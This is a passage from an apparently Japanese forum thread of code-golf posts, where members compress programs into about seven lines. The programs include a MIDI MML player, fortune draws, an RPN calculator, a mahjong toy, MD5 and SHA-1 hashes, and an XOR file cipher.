0096デフォルトでない名無しさん
NGNG#include <windows.h>
#include <mmsystem.h>
HMIDIOUT h;char*a="cdefgab",*b,*d,e[7]={0,2,4,5,7,9,11},o=0,l=4,m;V(){(m=atoi(b+
1))?l=m:0;Sleep(4000/l);}main(c,v)char**v;{if(!midiOutOpen(&h,0,0,0,0))for(b=v[1
];*b;b++)(d=strchr(a,*b))?c=(e[d-a]+o*12)*256,midiOutShortMsg(h,8335504+c),V(),
midiOutShortMsg(h,12416+c):*b==111?o=atoi(++b)-4:*b==64?m=atoi(++b),midiOutShor\
tMsg(h,192+m*256):*b==114?V():0;midiOutClose(h);return 0;}
0097デフォルトの名無しさん
NGNGM(x){midiOutShortMsg(h,x)}を作る。
oはグローバルなのでo=0の初期化は不要。
大文字のCD FGAで半音に対応できない? たぶんe[]が要らなくなるから
その分でさらにテンポかなにか対応できれば。。
こんなのつくってみた。1行にまとめて引数にどうぞ。
@45c32d32e32g32o5c32d32e32g32o6c32d32e32g32o7c32d32e32g32o8c32o7g32e32d32c32o6g32e32d32c32o5g32e32d32c32o4g32e32d32
o3a32b32o4c32e32a32b32o5c32e32a32b32o6c32e32a32b32o7c32e32a32e32c32o6b32a32e32c32o5b32a32e32c32o4b32a32e32c32o3b32
o3f32g32a32o4c32f32g32a32o5c32f32g32a32o6c32f32g32a32o7c32f32c32o6a32g32f32c32o5a32g32f32c32o4a32g32f32c32o3a32g32
o3g32a32b32o4d32g32a32b32o5d32g32a32b32o6d32g32a32b32o7d32g32d32o6b32a32g32d32o5b32a32g32d32o4b32a32g32d32o3b32a32
こんな感じだったっけ?
0098デフォルトの名無しさん
NGNG〜(e[d-a]+〜
を
〜("024579;"[d-a]-48+〜
とすればe[]の定義不要で11文字減る
0099デフォルトでない名無しさん
NGNGそして半音に対応してみました。
HMIDIOUT h;char*a="cdefgab",*b,*d,*e,*f="-+",o,l=4,m,n;V(){(m=atoi(b+1))?l=m:0;
Sleep(4000/l);}W(x){midiOutShortMsg(h,x);}main(c,v)char**v;{if(!midiOutOpen(&h,0
,0,0,0))for(b=v[1];*b;b++)(d=strchr(a,*b))?e=strchr(f,b[1]),n=(e?b++,(e-f)*2-1:0
),c=("024579;"[d-a]-48+n+o*12)*256,W(8335504+c),V(),W(12416+c):*b==111?o=atoi(++
b)-4:*b==64?m=atoi(++b),W(192+m*256):*b==114?V():0;midiOutClose(h);return 0;}
+ シャープです。音階の後に付けると半音上がります
-フラットです。音階の後に付けると半音下がります
(例の禁則は設けていません(;´д`)
0100デフォルトでない名無しさん
NGNG#include <windows.h>
#include <mmsystem.h>
HMIDIOUT h;char*a="cdefgab",*b,*d,o,l=4,m,n;V(){(m=atoi(b+1))?l=m:0;Sleep(4000/l
);}W(x){midiOutShortMsg(h,x);}main(c,v)char**v;{if(!midiOutOpen(&h,0,0,0,0))for(
b=v[1];*b;b++)(d=strchr(a,*b))?n=(b[1]==43?b++,1:0),c=("024579;"[d-a]-48+n+o*12)
*256,W(8335504+c),V(),W(12416+c):*b==111?o=atoi(++b)-4:*b==64?m=atoi(++b),W(192+
m*256):*b==114?V():0;midiOutClose(h);return 0;}
0101おみくじVB6
NGNGPrivate Sub Cmd_Click(): With Me: Select Case Int(Rnd * 7): Case 0: .Caption _
= "大吉": Case 1: .Caption = "中吉": Case 2: .Caption = "小吉": Case 3
.Caption = "末吉": Case 4: .Caption = "吉": Case 5: .Caption = "凶": Case 6
.Caption = "大凶": End Select: End With: End Sub
5行ですた
0102デフォルトの名無しさん
NGNG0103101
NGNGスマソ、おれにできるのはこれ位だ
もっと勉強してきまつ
0104デフォルトの名無しさん
NGNG0105デフォルトの名無しさん
NGNGt直後の数字でテンポが変更可能(デフォルトはt60)
#include <windows.h>
#include <mmsystem.h>
HMIDIOUT h;char*a="cdefgab",*b,*d;int t=4000,o,l=4,m;V(){(m=atoi(b+1))?l=m:0;
Sleep(t/l);}W(x){midiOutShortMsg(h,x);}main(c,v)char**v;{if(!midiOutOpen(&h,0,0
,0,0))for(b=v[1];*b;b++)(d=strchr(a,*b))?c=("024579;"[d-a]-48+((m=(m=b[1])-45?m
==43:-1)&&++b,m)+o*12)<<8,W(8335504+c),V(),W(12416+c):*b==111?o=atoi(++b)-4:*b-
64?*b-114?*b==116?t=24e4/atoi(++b):0:V():W(192+atoi(++b)*256);midiOutClose(h);}
0106デフォルトの名無しさん
NGNG全く意味無いが3行にしてみた
Sub Main(): Randomize: Select Case Int(Rnd * 7): Case 0: a = "大吉": Case 1
a = "中吉": Case 2: a = "小吉": Case 3: a = "末吉": Case 4: a = "吉": Case 5
a = "凶": Case 6: a = "大凶": End Select: MsgBox "運勢は" & a: End: End Sub
ほんと意味無いなw
0107デフォルトの名無しさん
NGNG意味もなく2行。
Sub main(): Dim a(): Randomize: a = Array("大吉", "中吉", "小吉", "末吉", _
"吉", "凶", "大凶"): MsgBox "運勢は" & a(Int(Rnd * 7)): End: End Sub
0108デフォルトの名無しさん
NGNG0109デフォルトの名無しさん
NGNG*a="cdefgab" を *a="c#d#ef#g#a#b" とし(別に#じゃなくてもいいけど)
n=(b[1]==43?b++,1:0),c=("024579;"[d-a]-48+n+o*12)*256 を
c=(d-a+(b[1]==43&&b++)+o*12)<<8 とする。nは不要。
さらに (b[1]==43&&b++) を (m=44-b[1],(m*m==1&&++b)*m) とすれば
-(フラット)に対応(>>105より短)。
また m=atoi(++b),W(192+m*256) を W(192|atoi(++b)<<8) とする。
0110デフォルトの名無しさん
NGNGm = new Array("大吉", "中吉", "小吉", "末吉", "吉", "凶", "大凶");
alert("運勢は"+m[Math.ceil(Math.random()*7-1)]);
</script>
JavaScript実質2行。もっと短くできる?
0111デフォルトの名無しさん
NGNG配列 a() は不要。
Sub Main(): Randomize: MsgBox "運勢は" & Array("大吉", "中吉", "小吉", "末吉", _
"吉", "凶", "大凶")(Int(Rnd * 7)): End: End Sub
あるいは微妙に動作は違うけど...
Sub Main(): Randomize: MsgBox "運勢は" & Mid$("大吉中吉小吉末吉吉 凶 大凶", _
2 * Int(Rnd * 7) + 1, 2): End: End Sub
とか。
0112デフォルトの名無しさん
NGNG<script language="javascript">
m="大吉,中吉,小吉,末吉,吉,凶,大凶".split(",");
alert("運勢は"+m[Math.ceil(Math.random()*m.length)]);
</script>
お行儀悪いけど、文字数だけ短縮。
*7-1とか、バグの元は排除。
0113デフォルトの名無しさん
NGNGArray()に直に書けるのか。一つ勉強になった
0114デフォルトの名無しさん
NGNG一文字減らしてみた
Sub Main(): Randomize: MsgBox "運勢は" & Array("大吉", "中吉", "小吉", "末吉", _
"吉", "凶", "大凶")(Rnd * 7 \ 1): End: End Sub
0115デフォルトの名無しさん
NGNGスペースを全角→半角
int() → \ 1
+1 → 文字列の最初に半角スペース
で4文字減
Sub Main(): Randomize: MsgBox "運勢は" & Mid$(" 大吉中吉小吉末吉吉 凶 大凶", _
(Rnd * 7 \ 1) * 2, 2): End: End Sub
意味ないのでsage
0116デフォルトの名無しさん
NGNGあと18文字で力尽きました。
double sin(),d;unsigned s[4],E[4],X[32],C,x,y,z,k,i,j=8,l=16,m,n,u=64,g=16;main
(char*a){for(a=E;j--;)n=a[j+8]=~(a[j]=1+j*34);for(a=X;n/u;memset(X,m=0,u)){for(
n=0;~(i=getchar())&&(a[n++]=i,n<u););for(C+=n*8,n-u?X[l=14+n/56*g]=C,a[n]|=128,
X[++l]=0:0;m<l;m+=g){for(memcpy(s,E,g);k="@AE@"[++j];)for(i=0;i<g;s[-i++&3]=x+(
y<<z|y>>32-z),k+="AECG"[j])x=s[1-i&3],y=s[2-i&3],z=s[~i&3],d=sin(j*g+i+1),y=s[-
i&3]+(j-3?j-2?j?x&z|y&~z:x&y|~x&z:x^y^z:y^(x|~z))+X[m+k%g]+(d<0?-d:d)*(~0U+1.),
z="GLQVEINTDKPWFJOU"[j*4+i%4]-u;for(;j--;E[j]+=s[j]);}}for(a=E;++j<g;printf("%"
"02x",a[j]&255));}
0117:
NGNG探し物はこちら
http://sagatoku.fc2web.com/
新商品・安売・キャンペーン・流行商品・ネット商品等10万点以上
ジャンル別・50音別で楽々探し物
0118デフォルトでない名無しさん
NGNG#include <windows.h>
#include <mmsystem.h>
HMIDIOUT h;char*a="c+d+ef+g+a+b",*b,*d;int t=4000,o,l=4,m;V(){(m=atoi(b+1))?l=m:
0;Sleep(t/l);}W(x){midiOutShortMsg(h,x);}main(c,v)char**v;{if(!midiOutOpen(&h,0,
0,0,0))for(b=v[1];*b;b++)(d=strchr(a,*b))?c=(d-a+(b[1]==43&&b++)+12+o*12)<<8,W(
8335504+c),V(),W(12416+c):*b-64?*b-111?*b-114?*b-116?*b==118?W(6522+atoi(++b)):0
:(t=24e4/atoi(++b)):V():(o=atoi(++b)-4):W(192+atoi(++b)*256);midiOutClose(h);}
v[0- ] ボリュームです。音の大きさを変更できます
あと、燃料投下。
#include <windows.h>
#include <mmsystem.h>
HMIDIOUT h;V(l,b,t)char*l,*b;{char m;(m=atoi(b+1))?*l=m:0;Sleep(t/(*l));}W(x){m\
idiOutShortMsg(h,x);}Y(v)char*v;{char*a="cdefgab",*b,*d,o=0,l=4,m=0,n=atoi(v);i\
nt c,t=4000;for(b=v;*b;b++)(d=strchr(a,*b))?c=("024579;"[d-a]-36+(b[1]==43&&b++)
+o*12)<<8,W(8335504+c+n),V(&l,b,t),W(12416+c+n):*b==111?o=atoi(++b)-4:*b==64?m=
atoi(++b),W(192+m*256+n):*b==114?V(&l,b,t):*b==116?t=24e4/atoi(++b):0;return 0;}
main(c,v)char**v;{long t[16],n;if(!midiOutOpen(&h,0,0,0,0)){for(n=c;--c;)t[c]=_\
beginthread(Y,0,v[c]);for(;n--;)WaitForSingleObject(t[n],INFINITE);}midiOutClose
(h);return 0;}
MMLプレイヤー(最高16重奏が可能)
mml [mml data] ...
mmldataの最初にチャンネル番号を付ける事。
0119デフォルトでない名無しさん
NGNG0120デフォルトの名無しさん
NGNGpublic static void main(String args[]) {
System.out.println("おまえら、全員市ね");
Thread.sleep(1000000);
System.out.println("だから、市ねって");
}
}
0121デフォルトの名無しさん
NGNGx+(y<<z|y>>32-z)>x+=y<<z|y>>32-z
(j-3?j-2?j?x&z|y&~z:x&y|~x&z:x^y^z:y^(x|~z))>(j?j>1?y^(j-3?x^z:x|~z):x&z|y&~z:x&y|~x&z)
sin(j*g+i+1)>sin(j*g-~i)
0122デフォルトの名無しさん
NGNG暇なときにどうぞ
;其の1
randomize;
repeat: wait 10;
;stick n: if( n & 0x200 ): break;
rnd rx, 33: rnd ry, 33: ginfo 0;
mouse prmx + rx - 16, prmy + ry - 16;
loop;
;其の2
ginfo 0: mox = prmx: moy= prmy;
repeat: await 20;
;getkey n, 2: if( n ): break;
ginfo 0: mouse prmx * 2 - mox, prmy * 2 - moy;
mox = prmx: moy = prmy;
loop;
0123デフォルトの名無しさん
NGNGfor(memcpy(s,E,g);k="@AE@"[++j];)
X[m+k%g]
,k+="AECG"[j]
↓
for(memcpy(s,E,g);++j<4;)
X[m+"@AE@"[j]+"AECG"[j]*i&15]
k の宣言消し
0124デフォルトの名無しさん
NGNG・"c+d+ef+g+a+b"の方式にする。
・WaitForSingleObject()の引数に_beginthread()を直接与える。
main()のt[16]とnとfor文1つが除去可能。
・INFINITEを-1に(だめかも)。
・return 0;はなくてもよいのでは。あと、main()のif文も。Closeはわからん。
"rc+d+ef+g+a+b"とし、その中でrを個別に判定しベロシティ0にすれば、
V()を用意する必要がなくなり、多少短くなるかもしれない。
0125デフォルトの名無しさん
NGNG七行でここまでいろいろ表現できるとは。
0126デフォルトの名無しさん
NGNGVB知らないんだけど、「吉」「凶」は纏められないんですかね?
小凶や末凶も増えるし・・
0127デフォルトの名無しさん
NGNG余計に長くなっちった。
0128デフォルトの名無しさん
NGNGさて、レスしたからには挑戦しなければなりませんが。
0129デフォルトの名無しさん
NGNG微妙に変だから直しました
あとEndは無しでもいけそう
$も不必要かと
Sub Main(): Randomize: MsgBox "運勢は" & Mid("大吉中吉小吉末吉吉 凶 大凶", ( _
Rnd * 6 \ 1) * 2 + 1, 2): End Sub
0130デフォルトの名無しさん
NGNG0131デフォルトの名無しさん
NGNG但しコンパイル時にchar型のdefaultをunsignedとするオプション指定が必須(ぉ
double sin(),fabs();unsigned s[4],X[32],C,x,y,z,E[4],i,j=8,l,m,n,u,g;main(char*
a){for(a=E;j--;l=g=16)a[j+8]=~(a[j]=1+j*34);for(;n==u;){for(memset(a=X,m=n=0,u=
64);n<u&&~(x=getchar());++C)a[n++]=x;for(n-u?X[l=14+n/56*g]=C*8,a[n]=128,X[++l]
=C>>29:0;m<l;m+=g){for(memcpy(s,E,g);++j<4;)for(i=0;i<g;y=s[-i&3]+(j?j-1?y^(j-3
?x^z:x|~z):x&z|y&~z:x&y|~x&z)+X[m|"@AE@"[j]+"AECG"[j]*i&15]+fabs(sin(j*g+i+1.))
*(~0U+1.),z="GLQVEINTDKPWFJOU"[j*4|i&3]-u,s[-i++&3]=x+=y<<z|y>>32-z)x=s[1-i&3],
y=s[2-i&3],z=s[~i&3];for(;j--;E[j]+=s[j]);}}for(;++j<g;printf("%02x",j[a=E]));}
0132デフォルトで無い名無しさん
NGNGSplitでやってみる。
Sub Main(): Randomize: MsgBox "運勢は" & Split("大吉 中吉 小吉 末吉 吉 凶 " + _
"大凶", " ")(Rnd * 6): End Sub
ついでに。
Sub Main(): Randomize: MsgBox "運勢は" + Mid("大中小末 ", Rnd * 4 + 1, 1) & _
Mid("吉凶", Rnd + 1, 1): End Sub
0133デフォルトの名無しさん
NGNG> Sub Main(): Randomize: MsgBox "運勢は" & Split("大吉 中吉 小吉 末吉 吉 凶 " + _
> "大凶", " ")(Rnd * 6): End Sub
大凶と大吉が出にくいぞ。(対オリジナル)
> Sub Main(): Randomize: MsgBox "運勢は" + Mid("大中小末 ", Rnd * 4 + 1, 1) & _
> Mid("吉凶", Rnd + 1, 1): End Sub
"中凶", "小凶", "末凶" ってなんだ ?
0134デフォルトでない名無しさん
NGNG>>126
0135デフォルトの名無しさん
NGNG0136デフォルトの名無しさん
NGNG0137デフォルトの名無しさん
NGNGimport java.util.*;import java.math.*;public class P{public static void main(
String[] a ){Stack s = new Stack();for(int i=0;i<a.length;i++){try{s.push(new
BigDecimal(a[i]));}catch( Exception e){BigDecimal n=(BigDecimal)s.pop();
BigDecimal m=(BigDecimal)s.pop();if("+".equals(a[i]))s.push(m.add(n));if("-".
equals(a[i]))s.push(m.subtract(n));if("*".equals(a[i]))s.push(m.multiply(n));
if("/".equals(a[i]))s.push(m.divide(n,0));}}System.out.println( s.pop() );}}
java P 2 3 + 6 2 - "*" 見たいな感じで
0138133
NGNG> 順番って 大吉 中吉 吉 小吉 だよね?
http://suimei.org/kaitei.html によると、
大吉→中吉→小吉→吉→半吉→末吉→末小吉→凶→小凶→半凶→末凶→大凶 らしい。
らしい。
"中凶" はなかったが、"小凶", "末凶" はあるみたいだ。
すまんかった。→ >>132 (藁
0139デフォルトの名無しさん
NGNG0140山崎渉
NGNGピュ.ー ( ^^ ) <これからも僕を応援して下さいね(^^)。
=〔~∪ ̄ ̄〕
= ◎――◎ 山崎渉
0141デフォルトの名無しさん
NGNGimport java.util.*;import java.math.*;public class P{public static void main(
final String[]a){System.out.println(new Stack(){{for(int i=0;i<a.length;i++){
try{push(new BigDecimal(a[i]));}catch(Exception e){BigDecimal n=(BigDecimal)pop
(),m=(BigDecimal)pop();if("+".equals(a[i]))push(m.add(n));if("-".equals(a[i]))
push(m.subtract(n));if("*".equals(a[i]))push(m.multiply(n));if("/".equals(a[i])
)push(m.divide(n,0));}}}}.pop());}}
0142デフォルトの名無しさん
NGNG明度ってR,G,B各要素で最大のものと教わったのですが,何故そのような色に重み付けをした変換でそれっぽくなるのでしょう?
0143デフォルトの名無しさん
NGNG人間の感覚
0145デフォルトの名無しさん
NGNGp='123456789一二三四五六七八九�T�U�V�W�X�Y�Z�[�\東南西北白発中';y=new A
rray();t=new Array();function d(){for(i=0;i<t.length;i++)document.all['b'+i].val
ue=p.charAt(t[i]);}function a(i){t[i]=99;t=t.sort(z);t[t.length-1]=y.pop();d();}
function z(x,y){return x-y;}for(i=0;i<p.length;i++){for(j=0;j<4;j++){y[i*4+j]=i
;}}for(i=0;i<y.length;i++){j=Math.floor(Math.random()*y.length);s=y[i];y[j]=y[i
];y[i]=s;}for(i=0;i<t.length;i++){t[i]=y.pop();}t=t.sort(z);for(i=0;i<t.length;i
++){window.document.write('<BUTTON ID="b'+i+'" onClick="a('+i+');"></BUTTON>');}
</SCRIPT></NOBR></BODY>
JScript部分が七行って事で勘弁。.htaで動く一人麻雀(判定なし)です。
ほんとはt.sortのzが省略したいんだけど、省略すると文字列として並び替え
されてしまうので、やむなくfunction zを指定してます。
(IE6で確認)
0146デフォルトの名無しさん
NGNGSplitは区切り文字が空白の場合は省略可能
Sub Main(): Randomize: MsgBox "運勢は" & Split("大吉 中吉 小吉 末吉 吉 凶 " + _
"大凶")(Rnd * 6): End Sub
0147デフォルトの名無しさん
NGNG0148デフォルトの名無しさん
NGNGだれか新しいソースうpしないと
ここは成り立たんな。
てなわけでage
0149デフォルトの名無しさん
NGNGmain()
{
int a;
printf("テストは何点でしたか?\n");
scanf("%d",&a);
if(a==100){
printf("完璧だね");
}
elseif(a<50){
printf("まぁまぁだね");
}
else{printf("頑張れよ");
}
}
0150デフォルトの名無しさん
NGNGこのソースをどうすればいい?
a<50はa>50だし、
101以上の値を入れたときの
処理がないぞ。
あと、int main(int argc,char**argv)って言ってるだろ
0151デフォルトの名無しさん
NGNG戻り値を省略した場合はint。
mainのプロトタイプは
main()
main(int)
main(int, char **)
main(int, char **, char **) // << MSのは対応してないやも
0152デフォルトの名無しさん
NGNG0153デフォルトの名無しさん
NGNG__cdecl
0154デフォルトの名無しさん
NGNG0155デフォルトの名無しさん
NGNGアラーメッセージは聞こえますか?
0156デフォルトの名無しさん
NGNGそんな処理系バリバリ依存のキーワード持ち出すんだったら
void main()
でも別にかまわないだろ
0157デフォルトの名無しさん
NGNG0158デフォルトの名無しさん
NGNG0159デフォルトの名無しさん
NGNG2番目と4番目が仕様上は正しくないと言ってるんでしょ
このスレ的には短くなるなら多少の処理系依存はアリだったはずだが
0160デフォルトの名無しさん
NGNG0161デフォルトの名無しさん
NGNG明示castのペナルティあるけど
0162デフォルトの名無しさん
NGNG最近そこには、突っ込めなくなった。
0163デフォルトの名無しさん
NGNG0164デフォルトの名無しさん
NGNGC++としてコンパイルすればいいじゃん
0165デフォルトの名無しさん
NGNG別にCでもできるぞ。
ただ、警告になるが。
0166デフォルトの名無しさん
NGNG#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main(int argc,char**argv){char option[64],CmdLine[256]="Bcc32 ";
int i;printf("オプションを入力してください");gets(option);strcat
(CmdLine,option);strcat(CmdLine," ");for(i=1;i<argc;i++)strcat(CmdLine,
argv[i]);system(CmdLine);printf("キー入力すると終了します");gets(option);}
*.c/cppの右クリックに追加して使えます。
なにげにオプション入力可能
0167デフォルトの名無しさん
NGNGelseifは定義されていません。」だってさ
0168デフォルトの名無しさん
NGNGEnterを押すと・・・です。
0169デフォルトの名無しさん
NGNG1.暗号キー作成
#include<stdio.h>
#include<time.h>
#include<stdlib.h>
main(){int i=256;char k[256];FILE*f;
srand((unsigned)time(NULL));for(;i--;)
k[i]=rand()%256-127;f=fopen("Key.txt","wb");
fwrite(k,1,256,f);}
起動すると256Bの暗号キーファイル(key.txt)を作成します
0170デフォルトの名無しさん
NGNG2.XOPによる暗号コード作成
#include<stdio.h>
main(int c,char**v)
{FILE *K,*R,*C;char a[256],b[256];int i;if(c<2)return 0;
K=fopen(v[1],"rb");R=fopen(v[2],"rb");C=fopen("code.txt","wb");
if(K==0||R==0||C==0)return 0;fread(b,1,256,K);while((i=fread
(a,1,256,R))==256){for(;i--;)a[i]=a[i]^b[i];fwrite(a,1,256,
C);}c=i;for(;i--;)a[i]=a[i]^b[i];fwrite(a,1,c,C);}
コマンドラインで v[1]=暗号キーファイル v[2]=元のファイルになるように
すると、暗号コード(code.txt)を吐きます。
0171デフォルトの名無しさん
NGNG3.XORによる復号化
#include<stdio.h>
main(int c,char**v)
{FILE *K,*R,*C;char a[256],b[256];int i;if(c<2)return 0;
K=fopen(v[1],"rb");R=fopen(v[2],"rb");C=fopen("code.txt","wb");
if(K==0||R==0||C==0)return 0;fread(b,1,256,K);while((i=fread
(a,1,256,R))==256){for(;i--;)a[i]=a[i]^b[i];fwrite(a,1,256,
C);}c=i;for(;i--;)a[i]=a[i]^b[i];fwrite(a,1,c,C);}
コマンドラインで v[1]=暗号キーファイル v[2]=暗号ファイルになるように
すると、復号コード(source.txt)を吐きます。
実は暗号化とほとんどかわりません。"code.txt"を変えただけ
0172デフォルトの名無しさん
NGNGC++ なら cstdio で int main で std::printf, std::scanf じゃん。
0173デフォルトの名無しさん
NGNG全部まとめて7行に入るよね?
0174デフォルトの名無しさん
NGNGぐぐっても出てきませんでした。
0175デフォルトの名無しさん
NGNGというか、なぜこのスレで?
0176デフォルトの名無しさん
NGNG>131と違いcharの符号は問わない
検証してないが4GB超サイズでも逝ける筈
double sin(),fabs();unsigned s[64],X[32],B,C,x,y,z,E[64],j=8,l,m,n,u,g=16;main(
char*a){for(a=E;j--;l=g)a[j+8]=~(a[j]=1+j*34);for(;n==u;){for(memset(a=X,m=n=0,
u=64);n<u&&~(x=getchar());B+=!(C+=8))a[n++]=x;for(n-u?X[l=14+n/56*g]=C,a[n]=128
,X[++l]=B:0;m<l;m+=g){for(memcpy(s,E,g);++j<u;y=s[-j&3]+(j/g?j>31?y^(j&g?x|~z:x
^z):x&z|y&~z:x&y|~x&z)+X[m|"@AE@"[j/g]+"AECG"[j/g]*j&15]+(~0U+1.)*fabs(sin(j+1.
)),z="GLQVEINTDKPWFJOU"[j/g*4|j&3]-u,s[-j&3]=x+=y<<z|y>>32-z)x=s[1-j&3],y=s[2-j
&3],z=s[~j&3];for(;j--;E[j]+=s[j]);}}for(;++j<g;printf("%02x",255&j[a=E]));}
0177デフォルトの名無しさん
NGNG>>169,170
0178デフォルトの名無しさん
NGNGフィルタにしました。引数なしだと Key.txt にキー作成。
作成したキーファイルを引数にすると、標準入出力間で暗号化、もう一度かけると復号。
実質6行だし、もっと縮められそう。
#include<stdio.h>
#include<time.h>
#include<stdlib.h>
int i,x=256;main(int c,char**v){char a[256];FILE*f=fopen(v[1],"rb");if(c<2){
srand((unsigned)time(NULL));for(i=x;i--;)a[i]=rand()%x-127;fwrite(a,1,x,fopen(
"Key.txt","wb"));}if(f)for(fread(a,1,x,f);~(c=getchar());i%=x)putchar(c^a[i++])
;}
0179デフォルトの名無しさん
NGNGヤ、ヤバいコードだ…
0180デフォルトの名無しさん
NGNGdouble sin(),fabs();unsigned s[63],X[32],B,C,x,y,z,E[63],j=8,l=14,m,g=16;char*a
;main(c){for(a=E;j--;)a[j+8]=~(a[j]=1+j*34);for(;c;){for(memset(a=X,m=x=0,64);x
<64?c=~getchar():0;B+=!(C+=8))a[x++]=~c;for(c||(X[l+=x/56*g]=C,a[x]=128,X[l+1]=
B);m<l;m+=g){for(memcpy(s,E,g);j-63;s[-j&3]=x+=y<<z|y>>32-z)x=s[-j++&3],y=s[2-j
&3],z=s[~j&3],y=s[-j&3]+X[m|"@AE@"[j/g]+"AECG"[j/g]*j&15]+(j/g?j>31?y^(j&g?x|~z
:x^z):x&z|y&~z:x&y|~x&z)+(~0U+1.)*fabs(sin(j+1.)),z="GLQVEINTDKPWFJOU"[j/g*4|j&
3]&31;for(;j--;E[j]+=s[j]);}}for(;++j<g;printf("%02x",255&j[a=E]));puts("");}
0181デフォルトの名無しさん
NGNG0182デフォルトの名無しさん
NGNG0183デフォルトの名無しさん
NGNG/* unsigned=32bitなSHA1 */
unsigned*p,H[186],*q=H,n,d=8,z,l,h;F(v){q[n/4]|=(v&255)<<(~n&3)*8;}L(c){q=H+90;
F(c);if(++n>63){for(n=80,p=memcpy(q-5,H,20);n;1[p--]=d/4|d<<30)d=q[13]^q[8]^q[2
]^*q,q[16]=d>>31|d+d,d=p[1],z=p[2],c=p[3],p[-1]=(*p<<5|*p>>27)+p[4]+0x5a827999+
*q+++(--n/5&4?n>39?c^d&(z^c):882459459+(d&(z|c)|z&c):(39<n?341275144:0x6fe0483d
)+(d^z^c));for(memset(H+90,0,64);H-p--;)*p+=p[5];}}main(){for(;n=d--;n+=8,F(~z)
)n=d^3,F(z=d*34+1);for(q[4]=0xc3d2e1f0;z=~getchar();h+=!(l+=8))L(~z);for(L(128)
;n-56;)L(0);for(q[14]=h,n=63,L(q[15]=l);n<5;)printf("%08x",H[n++]);}
/* unsigned=32bitなMD5 */
double sin(),fabs();unsigned*q,s[63],X[63],B,C,x,y,E[63],j=8,g=16;F(v){q[y/4]|=
(v&255)<<y%4*8;}L(z){F(z);if(++y>63){for(memcpy(s,E,g);j-63;y=s[-j&3]+X["@AE@"[
j/g]+"AECG"[j/g]*j&15]+(j/g?j>31?y^(j&g?x|~z:x^z):x&z|y&~z:x&y|~x&z)+fabs(sin(j
+1.))*(~0U+1.),z="GLQVEINTDKPWFJOU"[j/g*4|j&3]&31,s[-j&3]=x+=y<<z|y>>32-z)x=s[-
j++&3],y=s[2-j&3],z=s[~j&3];for(;j--;E[j]+=s[j])X[j]=y=0;}}main(){for(q=E;y=j--
;y+=8,F(~x))F(x=--y*34+1);for(q=X;x=~getchar();B+=!(C+=8))L(~x);for(L(128);y-56
;)L(0);for(X[14]=C,X[15]=B,y=63,L(0);++j<g;printf("%02x",E[j/4]>>j%4*8&255));}
0184デフォルトの名無しさん
NGNGmain(){int q1,q2,a;do{printf("8桁の数字を入力して覚えてください:");
scanf("%d",&q1);}while(q1>99999999||q1<10000000);do{
printf("\nさっきとは違う8桁の数字を入力してください:");scanf("%d",&q2)}
while(q2>99999999||q2<10000000||q2==q1);for(i=0;i<99;i++){printf("\n");}
printf("最初に入力した数字をどうぞ:");scanf("%d",&a);if(q1==a){
printf("正解。\n次に入力した数字をどうぞ:");scanf("%d",&a);if(q2==a){for(i=0;i<99;i++){printf("\n");}
printf("大正解。\nそれではもう一度最初に入力した数字をどうぞ:");scanf("%d",&a);if(q1==a){
printf("\nすごい・・・あなたは神です。\n");}else{printf("\n残念。正解は%dでした。\n",q1);}
}else{printf("\nはずれ。正解は%d\n",q2);}}else{printf("\nアホですか?正解は\n1回目%d\n2回目%d\n",q1,q2);}}
いくらプログラムを始めたばかりとはいえ、こんな糞プログラムも7行で作れないなんて・・・
みなさんすごいですね。
0185デフォルトの名無しさん
NGNGすごいな… MD5にSHA1とは
0186デフォルトの名無しさん
NGNG<SCRIPT>p='123456789一二三四五六七八九�T�U�V�W�X�Y�Z�[�\東南西北白発中'
y=[];t=[];q=document;function d(){for(i in t)q.all['b'+i].value=p.charAt(t[i])}
onload=d;function z(x,y){return x-y}for(i=0;i<34;i++)for(j=0;j<4;j++)y[i*4+j]=i
for(i in y){j=parseInt(Math.random()*135);s=y[i];y[j]=y[i];y[i]=s}for(i=0;i<12;
i++)t[i]=y.pop();t.sort(z);for(i in t)q.write('<BUTTON ID=b',i,' onClick=t[',i,
']=99;t.sort(z);t[11]=y.pop();d()></BUTTON>')</SCRIPT>
がんばれば5行いけそう。
0187デフォルトの名無しさん
NGNGMac OS 9.2.2でSHA1は動作確認できました。
ただMD5の方は動かず。
プロトタイプのせいかと思い厳密に書き換えても変わりませんでした。
実行結果:
"" = 3973fc7d22cf0064330b8e9bada4e926
"a" = c1baf895b258ff07288aecb035ece53e
"abc" = c24dad17ee73db1464a5c8bd367f9ac0
"message digest" = 0d3cdbfdb20c7624283e63cd816dc8a6
コンパイラはMrC 5.0d3c1
0188デフォルトの名無しさん
NGNG↓の追加・変更でMD5が正常に動くならsin()の演算精度の違いが原因かと
これでも異なる場合は>183のMD5にミスがあると思われ
unsigned T[]={
0xd76aa478,0xe8c7b756,0x242070db,0xc1bdceee,0xf57c0faf,0x4787c62a,0xa8304613,0xfd469501,
0x698098d8,0x8b44f7af,0xffff5bb1,0x895cd7be,0x6b901122,0xfd987193,0xa679438e,0x49b40821,
0xf61e2562,0xc040b340,0x265e5a51,0xe9b6c7aa,0xd62f105d,0x02441453,0xd8a1e681,0xe7d3fbc8,
0x21e1cde6,0xc33707d6,0xf4d50d87,0x455a14ed,0xa9e3e905,0xfcefa3f8,0x676f02d9,0x8d2a4c8a,
0xfffa3942,0x8771f681,0x6d9d6122,0xfde5380c,0xa4beea44,0x4bdecfa9,0xf6bb4b60,0xbebfbc70,
0x289b7ec6,0xeaa127fa,0xd4ef3085,0x04881d05,0xd9d4d039,0xe6db99e5,0x1fa27cf8,0xc4ac5665,
0xf4292244,0x432aff97,0xab9423a7,0xfc93a039,0x655b59c3,0x8f0ccc92,0xffeff47d,0x85845dd1,
0x6fa87e4f,0xfe2ce6e0,0xa3014314,0x4e0811a1,0xf7537e82,0xbd3af235,0x2ad7d2bb,0xeb86d391};
fabs(sin(j+1.))*(~0U+1.) -> T[j]
0189デフォルトの名無しさん
NGNGその後置き換え部分のみ比較してみたら一致したので
おやと思い置き換えた部分をいろいろいじった結果
fabs(sin(j+1.))*(~0U+1.)をunsignedにキャストすることでも動作。
どうやら原因は全ての数がdoubleにキャストされてから加算され
unsignedへ戻す時にオーバーフローしてy==UINT_MAXになる為のようでした。
お騒がせしました。
0190デフォルトの名無しさん
NGNGdouble sin(),fabs();unsigned*q,s[65],X[63],B,C,x,y,E[65],j=8,g=16;L(z){q[y/4]|=
z<<y%4*8;if(!~j?s[y]=E[y],++y>63:0){for(;j-63;y=s[-j&3]+X["@AE@"[j/g]+"AECG"[j/
